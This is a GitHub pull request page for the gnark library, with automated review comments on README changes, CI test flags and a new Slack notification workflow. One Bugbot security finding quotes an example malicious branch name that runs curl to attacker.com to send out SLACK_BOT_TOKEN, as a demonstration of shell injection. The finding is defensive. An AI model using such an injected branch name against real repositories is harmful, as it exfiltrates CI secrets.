Skip to content

docs: update README.md#1712

Merged
gbotrel merged 6 commits intomasterfrom
docs/chore
Feb 11, 2026
Merged

docs: update README.md#1712
gbotrel merged 6 commits intomasterfrom
docs/chore

Conversation

@gbotrel
Copy link
Copy Markdown
Collaborator

@gbotrel gbotrel commented Feb 10, 2026

Description

Fixes # (issue)

Type of change

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • This change requires a documentation update

How has this been tested?

  • Test A
  • Test B

How has this been benchmarked?

  • Benchmark A, on Macbook pro M1, 32GB RAM
  • Benchmark B, on x86 Intel xxx, 16GB RAM

Checklist:

  • I have performed a self-review of my code
  • I have commented my code, particularly in hard-to-understand areas
  • I have made corresponding changes to the documentation
  • I have added tests that prove my fix is effective or that my feature works
  • I did not modify files generated from templates
  • golangci-lint does not output errors locally
  • New and existing unit tests pass locally with my changes
  • Any dependent changes have been merged and published in downstream modules

Note

Medium Risk
Main risk is CI behavior change: more tests are gated behind -short and some fuzzing/time-consuming cases are reduced or skipped, which could let regressions slip through; Slack notifications add a new external integration dependent on secrets and curl/jq availability.

Overview
CI workflows now use go tool goimports (dropping explicit goimports installs) and add a new reusable workflow, slack-notifications.yml, to post success/failure messages to Slack after pr and push test jobs.

Test/runtime changes: PR CI runs all test commands in -short mode, reduces fuzz time, and several heavy tests/integration paths now skip or downsample work when testing.Short() is enabled.

Deps/docs: bumps gnark-crypto and updates go.mod to track goimports/asmfmt via the Go tool directive; README.md is substantially reorganized with new quick start/testing sections and updated messaging.

Written by Cursor Bugbot for commit b450755. This will update automatically on new commits. Configure here.

Copilot AI review requested due to automatic review settings February 10, 2026 22:51
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR refreshes README.md to present a more streamlined project introduction and onboarding flow for gnark users and contributors.

Changes:

  • Reworks the README intro into a shorter “Why gnark” + “Useful Links” format.
  • Adds a “Quick Start” section with requirements, install, and example run instructions.
  • Reorganizes/updates sections on proving systems, GPU acceleration, security, testing commands, audits, and release notes.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread README.md
### Requirements

`gnark` tries to be backwards compatible when possible, however we do not guarantee that serialized object formats are static over different versions of `gnark`. Particularly - we do not have versioning implemented in the serialized formats, so using files between different versions of gnark may lead to undefined behaviour or even crash the program.
- Go `1.25+` (module target: `go 1.25.6`)
Copy link

Copilot AI Feb 10, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The stated requirement "Go 1.25+" is looser than the module’s go 1.25.6 directive. To avoid users trying unsupported patch versions, consider documenting the minimum as Go 1.25.6+ (or explicitly explain that the module targets 1.25.6 and CI uses 1.25.x).

Suggested change
- Go `1.25+` (module target: `go 1.25.6`)
- Go `1.25.6+` (module target: `go 1.25.6`)

Copilot uses AI. Check for mistakes.
Comment thread README.md

If you have any questions, queries or comments, [GitHub discussions] is the place to find us.
```bash
go run ./examples/cubic
Copy link

Copilot AI Feb 10, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The Quick Start example command uses a repo-relative path (go run ./examples/cubic), which will fail for readers who haven’t cloned the repository. Consider either adding a preceding clone/cd step or using a module-path invocation (e.g., go run github.com/consensys/gnark/examples/cubic@latest) so the Quick Start works from anywhere.

Suggested change
go run ./examples/cubic
go run github.com/consensys/gnark/examples/cubic@latest

Copilot uses AI. Check for mistakes.
Comment thread README.md
Comment on lines 109 to +118
ccs, _ := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, &circuit)

// groth16 zkSNARK: Setup
pk, vk, _ := groth16.Setup(ccs)

// witness definition
assignment := CubicCircuit{X: 3, Y: 35}
witness, _ := frontend.NewWitness(&assignment, ecc.BN254.ScalarField())
publicWitness, _ := witness.Public()

// groth16: Prove & Verify
proof, _ := groth16.Prove(ccs, pk, witness)
groth16.Verify(proof, vk, publicWitness)
_ = groth16.Verify(proof, vk, publicWitness)
Copy link

Copilot AI Feb 10, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The example circuit ignores errors from Compile, Setup, NewWitness, Prove, and Verify (and explicitly discards the Verify result). Since this snippet is likely to be copy/pasted, it would be better to demonstrate basic error handling (even if err != nil { panic(err) }) so failures don’t get silently ignored.

Copilot uses AI. Check for mistakes.
Comment thread README.md
Common local commands:

```bash
go test -short ./...
Copy link

Copilot AI Feb 10, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

go test -tags=release_checks,solccheck . requires additional local tooling (e.g., gnark-solidity-checker, solc, abigen) to be installed, otherwise it will fail. Consider adding a short note next to this command (or splitting it into a separate “requires extra deps” block) so contributors know what’s needed.

Suggested change
go test -short ./...
go test -short ./...
# requires gnark-solidity-checker, solc, and abigen to be installed locally

Copilot uses AI. Check for mistakes.
Comment thread .github/workflows/slack-notifications.yml
Comment thread .github/workflows/slack-notifications.yml
@socket-security
Copy link
Copy Markdown

socket-security bot commented Feb 10, 2026

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Updatedgolang/​github.com/​consensys/​gnark-crypto@​v0.19.3-0.20260210161253-243aa4749a4a ⏵ v0.19.3-0.20260210233638-4abc1c162a6576100100100100

View full report

Comment thread .github/workflows/pr.yml
Comment thread .github/workflows/pr.yml
go test -json -v -p 4 -timeout=30m -tags=prover_checks ./test/... 2>&1 | gotestfmt -hide=all | tee -a /tmp/gotest.log
go test -json -v -p 4 -timeout=30m -tags=prover_checks ./examples/... 2>&1 | gotestfmt -hide=all | tee -a /tmp/gotest.log
go test -json -v -run=NONE -fuzz=FuzzIntcomp -fuzztime=30s ./internal/backend/ioutils 2>&1 | gotestfmt -hide=all | tee -a /tmp/gotest.log
go test -short -json -v -p 4 -short -timeout=30m ./... 2>&1 | gotestfmt -hide=all | tee /tmp/gotest.log
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Duplicate -short flag in test command

Low Severity

The go test command on this line passes -short twice: once at the beginning and once after -p 4. The original command already had -short before -timeout=30m, and the bulk addition of -short to the start of each test line created this duplication. While Go silently accepts duplicate flags, this is clearly unintentional and suggests a missed cleanup.

Fix in Cursor Fix in Web

Copy link
Copy Markdown

@cursor cursor bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 1 potential issue.

- name: Post to Slack
run: |
if [ "${{ inputs.status }}" == "success" ]; then
payload=$(jq -n --arg repository "${{ inputs.repository }}" --arg branch "${{ inputs.branch }}" --arg actor "${{ inputs.actor }}" --arg run_id "${{ inputs.run_id }}" '{
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Script injection via branch name in Slack workflow

Medium Severity

${{ inputs.branch }} is directly interpolated into a shell run: block. In the PR workflow, this value comes from ${{ github.head_ref }}, which is a user-controlled branch name. An attacker can craft a branch name containing shell metacharacters (e.g., "; curl attacker.com?t=$SLACK_BOT_TOKEN; #) to achieve arbitrary command execution and potentially exfiltrate SLACK_BOT_TOKEN. The safe pattern is to assign untrusted inputs to environment variables first, then reference them as "$BRANCH" in the script.

Additional Locations (1)

Fix in Cursor Fix in Web

@gbotrel gbotrel merged commit 2bb5f09 into master Feb 11, 2026
13 checks passed
@gbotrel gbotrel deleted the docs/chore branch February 11, 2026 02:52
ivokub pushed a commit that referenced this pull request Feb 12, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants